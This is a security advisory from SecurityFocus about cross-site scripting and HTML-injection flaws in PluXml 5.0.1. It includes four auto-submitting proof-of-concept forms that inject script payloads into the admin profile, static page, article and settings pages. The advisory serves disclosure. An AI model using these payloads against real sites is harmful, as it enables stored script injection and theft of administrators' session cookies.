source: https://www.securityfocus.com/bid/44069/info
PluXml is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
PluXml 5.0.1is vulnerable; prior versions may also be affected.<form action="http://www.example.com/core/admin/profil.php" method="post" name="main"><inputtype="hidden" name="name" value="Ildar"><inputtype="hidden" name="infos" value='<script>alert(document.cookie)</script>'><inputtype="hidden" name="profil" value="Modifier votre profil"><inputtype="hidden" name="password1" value=""><inputtype="hidden" name="password2" value=""></form><script>
document.main.submit();</script><form action="http://www.example.com/core/admin/statique.php" method="post" name="main"><inputtype="hidden" name="id" value="001"><inputtype="hidden" name="content" value="<p><?php echo 'Ma première page statique !'; ?></p><script>alert(document.cookie)</script>"></form><script>
document.main.submit();</script><form action="http://www.example.com/core/admin/article.php" method="post" name="main"><inputtype="hidden" name="artId" value="0001"><inputtype="hidden" name="title" value="article title"><inputtype="hidden" name="author" value="001"><inputtype="hidden" name="chapo" value=""><inputtype="hidden" name="content" value='page html content"><script>alert(document.cookie)</script>'><inputtype="hidden" name="day" value="23"><inputtype="hidden" name="month" value="09"><inputtype="hidden" name="year" value="2010"><inputtype="hidden" name="time" value="15:45"><inputtype="hidden" name="catId[]" value="001"><inputtype="hidden" name="new_catid" value="002"><inputtype="hidden" name="new_catname" value=""><inputtype="hidden" name="tags" value="PluXml"><inputtype="hidden" name="allow_com" value="1"><inputtype="hidden" name="url" value="article-page-url"><inputtype="hidden" name="template" value="article.php"><inputtype="hidden" name="preview" value="Aperçu"></form><script>
document.main.submit();</script><form action="http://www.example.com/core/admin/parametres_base.php" method="post" name="main"><inputtype="hidden" name="title" value='PluXml"><script>alert(document.cookie)</script>'><inputtype="hidden" name="description" value="le blog full XML"><inputtype="hidden" name="racine" value="http://www.example.com/"><inputtype="hidden" name="delta" value="+00:00"><inputtype="hidden" name="allow_com" value="1"><inputtype="hidden" name="mod_com" value="0"><inputtype="hidden" name="editor" value="plxtoolbar"></form><script>
document.main.submit();</script>